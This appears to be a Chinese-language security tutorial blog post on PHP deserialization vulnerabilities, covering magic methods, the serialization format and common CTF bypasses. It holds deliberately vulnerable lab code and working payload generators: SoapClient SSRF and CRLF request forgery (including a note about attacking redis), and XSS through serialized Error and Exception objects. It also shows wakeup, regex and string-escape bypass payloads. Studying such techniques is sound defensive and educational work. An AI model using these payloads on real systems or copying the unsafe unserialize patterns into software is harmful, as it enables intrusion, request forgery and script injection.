PHP反序列化漏洞总结

PHP反序列化漏洞总结

原理

​ 编程语言提供了一种序列化机制,可以将内存中的对象转为字符串,这样就可以将对象进行存储等操作,而反序列化就是把这个字符串还原成内存中的对象。当进行反序列化的时候这个字符串可控,并且又没有进行过滤,那么就可能存在反序列化漏洞。

​ 为什么字符串可控且没有过滤会存在漏洞呢?先来看看序列化和反序列化的过程:

PHP代码:

<?php
class Test {
	public $name = 'dyb';
	public function __construct() {
		echo 'construct Called<br />';
	}
	public function __destruct() {
		echo 'destruct Called<br />';
	}
	public function __sleep() {
		echo 'sleep Called<br />';
		return array('name');
	}
	public function __wakeup() {
		echo 'wakeup Called<br />';
	}
}


$obj = new Test();
echo "before searialized<br />";
$searialized = serialize($obj);
echo "searialized string: ".$searialized."<br />";
unserialize($searialized);
echo "after unserialize<br />";

?>

​ 这串代码很简单,实例化一个名为Test的类对象->serialize函数把这个对象序列化成一个字符串打印出来->反序列化这个字符串,看看运行的结果:

image-20220409230518433

结果:

​ 1.在实例化一个对象的时候,construct函数被自动调用。

​ 2.在使用serialize函数将对象序列化成一个字符串的时候,sleep方法被自动调用。

​ 3.在使用unserialize函数将字符串反序列化的时候,wakeup方法被自动调用。

​ 4.在本程序快结束的时候,destruct方法被调用了2次。

一、魔术方法

​ 上面这些被自动调用的方法,PHP里叫做魔术方法,不光PHP有,其他的语言也有,比如在C++里有构造函数和析构函数,对应着PHP的__construct和__destruct。除了这里写的魔术方法,PHP还有其他魔术方法,会在某些特定情况下被自动调用,下面列举一些常见的魔术方法和它的作用:

1、构造函数:__construct():

​ 对象被实例化的时候,自动调用。

2、析构函数:__destruct():

​ 对象被销毁前自动调用。

​ 3、 __set( k e y , key, key,value):

​ 给类的私有属性赋值时自动调用。

​ 4、 __get($key):

​ 获取类的私有属性时自动调用。

​ 5、 __isset($key):

​ 外部使用isset()函数检测这个类的私有属性时,自动调用。

​ 6、 __unset($key):

​ 外部使用unset()函数删除这个类的私有属性时,自动调用。

​ 7、__clone:

​ 当使用clone关键字,克隆对象时,自动调用。

8、__tostring():

​ 当使用echo等输出语句,直接打印对象时自动调用,例如上面那个代码中的echo $searialized其实就会调用这个魔术方法。

9、__call():

​ 调用类中未定义或未公开的方法时,自动调用。

​ 10、__autoload()

​ ① 这是唯一一个不在类中使用的魔术方法。

​ ② 当实例化一个不存在的类时,自动调用这个魔术方法。

​ ③ 调用时,会自动给__autoload()传递一个参数:实例化的类名

11、__sleep():

​ 把对象实例化成字符串的时候自动调用(上面的示例中有)

12、__wakeup():

​ 把字符串反序列化成对象时,会优先调用自动调用。

二、序列化和反序列化过程

​ OK,现在已经知道了魔术方法,那么再来仔细看一下序列化的字符串:O:4:“Test”:1:{s:4:“name”;s:3:“dyb”;}

image-20220409202046688

​ 这个字符串是这样翻译的:

image-20220412164252822

​ 再和这个类对象对比一下,可以发现,序列化的时候只是将类的属性转为了字符串,并没有把方法转为字符串。

image-20220409203502786

​ 理解了序列化的过程,那么反序列化的过程也比较容易理解了,就是把一个字符串按照它特定的格式解析,还原成类对象,并且只是还原了它的成员属性,没有动它的方法,既然序列化都没有将方法转成字符串,那么反序列化的时候自然是需要代码中有这个类的方法的代码它才能调用,是吧。

三、反序列化漏洞

​ 那么弄清了上述2点,反序列化漏洞就说得清了:

​ 1.在反序列化的时候,如果这个字符串可控,我们就可以让它反序列化出代码中任意一个类对象,并且类对象的属性是可控的。

​ 2.由于存在会自动调用的魔术方法(当然手动调用的方法也一样),如果这些方法中调用了自己的属性值(我们可控),那么我们就可以操控方法调用的结果了。

​ 3.虽然介绍了魔术方法,但反序列化漏洞和魔术方法没有必然联系,调用普通方法也可能触发反序列化漏洞,只是魔术方法自动调用更容易被编程人员忽视。

​ 因此,寻找反序列化漏洞的利用链就变成了:

​ 1.存在的一个类(代码中写/系统自带的)。

​ 2.类的方法被调用时(自动/手动)如果使用了自己成员属性的值,那么这个方法的执行结果我们就可控。

基础实验

来试验一下,这是test.php的内容:

<?php

class Test {
	public $name = 'right.php';
	public function __construct() {
		echo 'construct Called<br />';
	}
	public function __destruct() {
		include($this->name);
	}
	public function __sleep() {
		echo 'sleep Called<br />';
		return array('name');
	}
	public function __wakeup() {
		echo 'wakeup Called<br />';
	}

}


$obj = new Test();	
echo "before searialized<br />";
$searialized = serialize($obj);
echo "searialized string: ".$searialized."<br />";

echo "-------------------------------------------------------<br />";
$obj2 = @unserialize($_GET['s']);
if($obj2)
	echo "after unserialize <br />";

?>

right.php

<?php
echo "right<br/>";

flag.php

<?php
echo "flag here<br/>";

这一次__destruct方法中的内容变为了include $name的值,正常情况会包含right.php文件的内容,程序把创建的Test对象序列化成字符串后发送到前端,再通过GET方式接收一个字符串进行反序列化。

image-20220410114619595

由于GET方式接收的变量可控,所以我们可以直接修改$name的值,这样就能让它包含别的文件,这就是反序列化漏洞:

image-20220410114853642

注意结尾输出了flag here和right,这说明有2个Test对象,一个是new创建的,一个是反序列化生成的对象。

反序列化漏洞利用方法

一、利用代码中存在的类

​ 由于反序列化漏洞中类对象的属性都是可控的,所以只要魔术方法或普通方法调用了类的属性就可能有利用点,这也是常见的利用姿势。

二、利用原生类/内置类

​ 除了自己编写在代码中的类,还有一些PHP自带的类,也一样可以利用,实战中可以用来盲打PHP反序列化。

打印原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
   $methods = get_class_methods($class);
   foreach ($methods as $method) {
       if (in_array($method, array(
           '__destruct',
           '__toString',
           '__wakeup',
           '__call',
           '__callStatic',
           '__get',
           '__set',
           '__isset',
           '__unset',
           '__invoke',
           '__set_state'
       ))) {
           print $class . '::' . $method . "\n";
       }
   }
}
利用SoapClient 进行SSRF攻击

​ 格式:在实例化对象的时候需要传入2个参数:public SoapClient::__construct(?string $wsdl, array $options = [])

​ SoapClient 用作SOAP协议,它实现了__CALL方法,在调用一个不存在的方法时会触发CALL方法,可以造成SSRF攻击。不过我没有找到CALL方法的原型,不清楚它具体是如何实现的。

利用条件

​ (PHP 5, PHP 7, PHP 8)

​ 1.目标服务器启用了php_soap扩展。

​ 2.反序列化后调用了SoapClient中不存在的方法,导致__CALL被调用。

实验

​ 开启php_soap.dll扩展:

image-20220410150803120

​ test.php:

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

​ 这道题没有提供任何类的代码,所以只能用内置已经存在的类进行反序列化攻击,生成payload(web访问这个页面来生成):

<?php
$a = new SoapClient(null, array('uri' => 'test', 'location' => 'http://192.168.160.202:8888/path'));  //修改这里的地址为自己的vps
$b = serialize($a);
echo $b;

​ 结果:

O:10:"SoapClient":3:{s:3:"uri";s:4:"test";s:8:"location";s:32:"http://192.168.160.202:8888/path";s:13:"_soap_version";i:1;}

​ 发送payload后,自己的vps上收到了GET请求。

image-20220411152012814

结合CRLF

​ new SoapClient的时候,options参数中还有一个选项为user_agent,允许我们自己设置User-Agent的值,当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type为和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送post请求最关键的地方。

​ 生成payload(web访问这个页面来生成):

<?php
$target = 'http://192.168.160.202:8888/bbb.php';	    //target

$post_string = 'a=b&flag=aaa';				  //这里就可以放入通过CRLF攻击redis的payload

$headers = array(
    'X-Forwarded-For: 127.0.0.1',			  
    'Cookie: xxxx=1234'
    );
    
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);		   //这里把前面的^^替换成了CRLF
$aaa = str_replace('&','%26',$aaa);            //编码&,&是参数分隔符,不编码会分割参数。
echo $aaa;								
?>

​ 发送payload:

image-20220411153449658

利用Error进行XSS攻击

Error方法中实现了__toString,被调用时会返回 Error 的 string表达形式,可能造成XSS。

利用条件

(PHP 7, PHP 8)

​ 1.打印对象,导致__toString方法被调用。

实验

test.php

<?php
highlight_file(__FILE__);
// error_reporting(0);
$a = $_GET['vip'];
echo unserialize($a);
?>

生成payload

<?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
?>

发送payload

image-20220411161744321
利用Exception进行XSS攻击

​ Exception继承了Error,和Error的利用方式一样。

利用条件

(PHP 5, PHP 7, PHP 8)

1.打印对象,导致__toString方法被调用。

实验

test.php

<?php
highlight_file(__FILE__);
// error_reporting(0);
$a = $_GET['vip'];
echo unserialize($a);
?>

生成payload:

<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));
?>

image-20220411164108351

更多原生类的用法

想要了解更多php原生类的用法可以看这个文章,有些类是不能进行序列化的,所以没有放到这篇文章。https://www.codetd.com/article/13648456#_SimpleXMLElement__XXE_603

CTF中常见绕过方法

一、绕过wakeup

unserialize() 反序列化时会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源,如重建数据库连接、初始化成员变量等,重新初始化成员变量也可以缓解反序列化漏洞造成的影响,但某些版本可被绕过。

​ 影响版本为:PHP 5至5.6.25,PHP 7至 7.0.10。

原理

​ 当序列化后的字符串中定义的变量数大于实际变量数量时,就会绕过 wakeup()函数,如:O:4:“xctf”:2:{s:4:“flag”;s:4:“flag”;},xctf":2 指2个参数,实际上只有flag=flag一个变量。

实验

test.php

<?php

class Test {
	public $name = 'right.php';
	public function __construct() {
		echo 'construct Called<br />';
	}
	public function __destruct() {
		echo '__destruct Called<br />';
	}
	public function __sleep() {
		echo 'sleep Called<br />';
		return array('name');
	}
	public function __wakeup() {
		echo 'wakeup Called<br />';
	}

}


$obj = new Test();	
echo "before searialized<br />";
$searialized = serialize($obj);
echo "searialized string: ".$searialized."<br />";

echo "-------------------------------------------------------<br />";
$obj2 = @unserialize($_GET['s']);
if($obj2)
	echo "after unserialize <br />";

var_dump($obj2);
echo "<br />";
?>

输入正常的序列化字符串进行反序列化:

image-20220428175741687

修改数量:

image-20220428175819944

通过后面的vardump打印对象可以看出,修改数量后反序列化失败了,wakeup也没有执行,但destruct却执行了,所以这个利用链应该只能是destruct魔术方法。

二、正则匹配防御及绕过

原理

​ 正则:preg_match(‘/[oc]:\d+:/i’, $var) 匹配反序列化字符串来进行防御,可在数字前添加+进行绕过。

​ O:4 == O:+4

实验

三、反序列化字符串逃逸

过滤时减少字符串导致吞噬

原理

​ 前面讲了反序列化时会按照一定格式来解析字符串,读取字符串的时候会按照字符长度从引号中读取指定长度,如果在过滤处理字符串的时候将字符串减少,也可以利用反序列化的解析规则来绕过。

image-20220412141849043

实验

​ 先来看看这个示例:

​ 通过get方式接收到字符s后,使用了filter函数进行过滤,过滤的时候把.号过滤掉了。

<?php
header("Content-type:text/html;charset=utf-8");
function filter($str) {
	return str_replace('.', '', $str);
}
class A {
	public $name = 'name';
	public $pass = '123456';
}

$s = $_GET['s'];
echo "过滤前:" . $s . "<br/>";
$s = filter($s);
echo "过滤后:" . $s . "<br/>";

var_dump(unserialize($s));

​ 输入:O:1:“A”:2:{s:4:“name”;s:7:“xxx.php”;s:4:“pass”;s:6:“123456”;}

​ 字符串.被过滤,结构被破坏,反序列化失败,原因是解析到s:7:的时候会往后读取7个字符,但是现在读取完第7个后不再是双引号,导致出错:

image-20220412140832062

​ 但如果我们能让第七个字符后面还是双引号,那么就可以正常解析后面的内容了,所以我在payload中添加了一个双引号,这样即便被过滤掉一个字符,后续还是可以被正常解析。

​ 输入:O:1:“A”:2:{s:4:“name”;s:7:“xxx.php”";s:4:“pass”;s:6:“123456”;}

image-20220412141641712

​ 利用反序列化解析的规则,后续部分的内容只要符合它的解析规则就可以正常反序列化。这个看实验其实比较好理解:

​ 输入:O:1:“A”:2:{s:4:“name”;s:6:“xxxxxx…”;s:4:“pass”;s:4:“hack”;}

image-20220412142747534

过滤是增加字符串导致溢出

原理

​ 原理和字符串减少的时候差不多。只是构造payload的时候要逆转思维。

实验

还是上面那个实验环境,输入:O:1:“A”:2:{s:4:“name”;s:4:“xxx.”;s:4:“pass”;s:6:“123456”;},读取4个字符后面变成了-没法正确闭合:

image-20220412151508289

​ 那么如果能把xxx-后面的内容变成";s:4:“pass”;s:4:“hack”;},拼接出来就是O:1:“A”:2:{s:4:“name”;s:4:“xxx-”;s:4:“pass”;s:4:“hack”;}-";s:4:“pass”;s:6:“123456”;},能够正确闭合。

​ 这里要构造payload就需要逆转一下思维,先让原始payload的name包含";s:4:“pass”;s:4:“hack”;},经过filter后产生溢出后刚好让name的值覆盖到双引号前,所以要让溢出的长度=";s:4:“pass”;s:4:“hack”;}的长度:

​ 生成payload:

<?php
function filter($str) {
	return str_replace('.', '', $str);
}
class A {
	public $name = 'xxx';
	public $pass = '123456';
}

$ss = '";s:4:"pass";s:4:"hack";}'; 	    //闭合序列化用到的字符串, $pass的值改为了hack。
$AA = new A();
$AA->name = str_repeat('.', 25) . $ss;  //闭合使用的字符串长度为25,一个.号溢出一个,所以需要25个.
echo serialize($AA);

image-20220412162728085

四、private和protected绕过

原理

​ private属性序列化后字段名前会加上\0前缀(即%00),长度为1

​ protected属性序列化后字段名前会加上\0*\0,长度为3

​ 对比结果如图所示:

image-20210627000752010

​ 通过浏览器发送的话会被转义导致无法反序列化。

解决方法

构造序列化字符串的时候:

​ 1.部分版本对关键字不敏感(网传7.1+,但我测试很多版本都这样),可以直接修改为public。

​ 2.直接浏览器或发送/工具编码可能出问题,可使用php自带的base64进行编码,使用python的requests[可base64]发送。

base64编码序列化出来的字符串:

image-20220607132936018

python解码后发送:

image-20220607132947809

image-20220607132613154

五、十六进制绕过

原理

​ 序列化字符串中小写的s表示后面内容是字符串,大写S表示十六进制。

​ 影响范围:PHP5、PHP7

实验

<?php

class Test {

	protected $name = 'right.php';
	public function __construct() {
		echo 'construct Called<br />';
	}
	public function __destruct() {
		echo $this->name."<br />";
	}
	public function __sleep() {
		echo 'sleep Called<br />';
		return array('name');
	}
	public function __wakeup() {
		echo 'wakeup Called<br />';
	}

}


$obj = new Test();	
echo "before searialized<br />";
$searialized = serialize($obj);
echo "searialized string: ".$searialized."<br />";


echo "-------------------------------------------------------<br />";
$obj2 = @unserialize($_GET['s']);
echo "after unserialize <br />";

echo "<br />";



?>

使用大写S后,可以将字符串十六进制编码。

image-20220607133553481

测试方法

反序列化漏洞通常出现在cookie等处。

​ 1.通过代码审计,寻找序列化serialize和反序列化函数unserialize,分析魔术方法和普通方法调用时是否存在利用链。

​ 2.黑盒测试:黑盒盲测时观察web前端出现的序列化字符串,形式O:1:xxx之类的,前端出现序列化字符串,有序列化必定就有反序列化操作,盲测时可以借助前面讲得原生类进行盲打,也可以根据序列化字符串分析类的结构,猜测其他的类等。

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值